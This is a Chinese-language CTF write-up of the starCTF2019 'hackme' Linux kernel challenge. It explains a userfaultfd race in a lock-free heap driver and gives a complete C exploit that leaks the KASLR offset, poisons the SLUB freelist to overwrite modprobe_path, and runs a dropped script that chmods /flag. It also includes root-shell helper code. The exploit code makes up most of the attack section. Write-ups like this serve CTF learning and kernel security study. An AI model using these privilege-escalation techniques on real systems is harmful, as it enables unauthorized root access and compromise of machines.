【userfaultfd 条件竞争】starCTF2019 - hackme

前言

呜呜呜,这题不难,但是差不多一个多月没碰我的女朋友 kernel pwn 了,对我的 root 宝宝也是非常想念,可惜这题没有找到我的 root 宝宝,就偷了她的 flag

哎有点生疏了,这题没看出来堆溢出,直接条件竞争打了,但感觉条件竞争打简单一些。

题目分析

内核版本 4.20.13
开了 smap/smep/kaslr
给了 config 配置文件,查看得到如下信息:

# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_STATIC_USERMODEHELPER is not set

所以这里的 slub obj 的 freelist 在头8字节,调试也是如此
然后题目实现了一个菜单堆,有增删改查的功能,漏洞主要全程没用上锁,但是我做完后去网上搜了一下,发现这题还有堆溢出,这里堆溢出就不说了,笔者是利用条件竞争做的:
【userfaultfd 条件竞争】starCTF2019 - hackme_第1张图片
网上说这里 offset 可以为负数,导致向上溢出:) 这里我看比较是 unsigned 的就没想着溢出,而且条件竞争也很明显

漏洞利用

整体比较简单,就不多说了,主要就记录一下关键点,其实这里利用方式还挺多的,毕竟堆块大小没有限制

初始想法 seq_operations + pt_regs 进行提权 【X 没有合适的 gadget】

这里讲下为啥失败,因为这里的 gadget 大多都是这样的:)这里找了好久的 gadget,没一个行的
【userfaultfd 条件竞争】starCTF2019 - hackme_第2张图片
可以看到这里的 pop r10; lea rsp, [r10-8] 导致了我们无法成功劫持 rsp, 除非泄漏内核栈地址,但是如果都可以泄漏内核栈地址了,就不用这样搞了

修改 freelist 劫持 modprobe_path

劫持 freelist 的时候,这里不要直接修改 freelistmodprobe_path,因为系统可能会分配堆块,这时候就会报错,为啥呢?话不多说,放图:
【userfaultfd 条件竞争】starCTF2019 - hackme_第3张图片
这里的 /sbin/xxx 肯定是个无效的地址啊,但是这里发现 modprobe_path 前面就是一片0区域,所以让 freelist 指向0区域即可
exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int fd;
int seq_fd;
uint64_t koffset;
uint64_t swapgs_kpti   = 0xffffffff8120092e;
uint64_t magic_gadget  = 0xffffffff811dad61; // add rsp, 0x38 ; ret
uint64_t pop_rdi       = 0xffffffff81033de0; // : pop rdi ; ret;
uint64_t init_cred     = 0xffffffff8183f380; // D init_cred
uint64_t commit_creds  = 0xffffffff8104d220; // T commit_creds;
uint64_t modprobe_path = 0xffffffff8183f960;

struct request {
        long long idx;
        char* buf;
        long long len;
        long long off;
};

void add(long long idx, char* buf, long long len)
{
        struct request req = { .idx = idx, .buf = buf, .len = len };
        ioctl(fd, 0x30000, &req);
}

void dele(long long idx)
{
        struct request req = { .idx = idx };
        ioctl(fd, 0x30001, &req);
}

void kwrite(long long idx, char* buf, long long off, long len)
{
        struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };
        ioctl(fd, 0x30002, &req);
}

void kread(long long idx, char* buf, long long off, long len)
{
        struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };
        ioctl(fd, 0x30003, &req);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000];
void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                dele(0);
                open("/proc/self/stat", O_RDONLY);

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* handler0(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                uint64_t* ptr = copy_src;
                ptr[0] = modprobe_path-0x10;
                dele(0);

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/pwn/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /home/pwn/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy"); // 非法格式的二进制文件
        system("chmod +x /home/pwn/dummy");
        system("/home/pwn/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        fd = open("/dev/hackme", O_RDONLY);
        char buf[0x300] = { 0 };
        add(0, buf, 0x20);

        void* uffd_buf;
        pthread_t moniter_thr;
        uffd_buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(&moniter_thr, uffd_buf, 0x1000, handler);

        kread(0, uffd_buf, 0, 0x20);
        binary_dump("seq_operations data", uffd_buf, 0x20);
        koffset = *(uint64_t*)(uffd_buf + 8) - 0xffffffff810d30e0;
        modprobe_path += koffset;
        hexx("koffset", koffset);
        hexx("modprobe_path", modprobe_path);

        add(0, buf, 0x80);
        void* uffd_buf0;
        pthread_t moniter_thr0;
        uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(&moniter_thr0, uffd_buf0, 0x1000, handler0);

        kwrite(0, uffd_buf0, 0, 0x8);
/*
        __asm__(
       "mov r15,   0xdeadbeef;"
       "mov r14,   0x11111111;"
       "mov r13,   0x22222222;"
       "mov r12,   0x33333333;"
       "mov rbp,   0x44444444;"
       "mov rbx,   0x55555555;"
       "mov r11,   0x66666666;"
       "mov r10,   0x77777777;"
       "mov r9,    0x88888888;"
       "mov r8,    0x99999999;"
       "xor rax,   rax;"
       "mov rcx,   0xaaaaaaaa;"
       "mov rdx,   8;"
       "mov rsi,   rsp;"
       "mov rdi,   seq_fd;"
       "syscall"
        );
*/
        puts("[+] hajick modprobe_path");
        add(1, buf, 0x80);
        char* cmd = "/home/pwn/x";
        strncpy(buf+0x10, cmd, strlen(cmd));
        add(2, buf, 0x80);
        get_flag();
        puts("[+] EXP NEVER END");
        return 0;
}

效果如下:
【userfaultfd 条件竞争】starCTF2019 - hackme_第4张图片

总结

好久没碰 kernel pwn,写 exp 很不熟练了,期末后再练练,复现一些 cve

你可能感兴趣的:(kernel-pwn,条件竞争,kernel,pwn)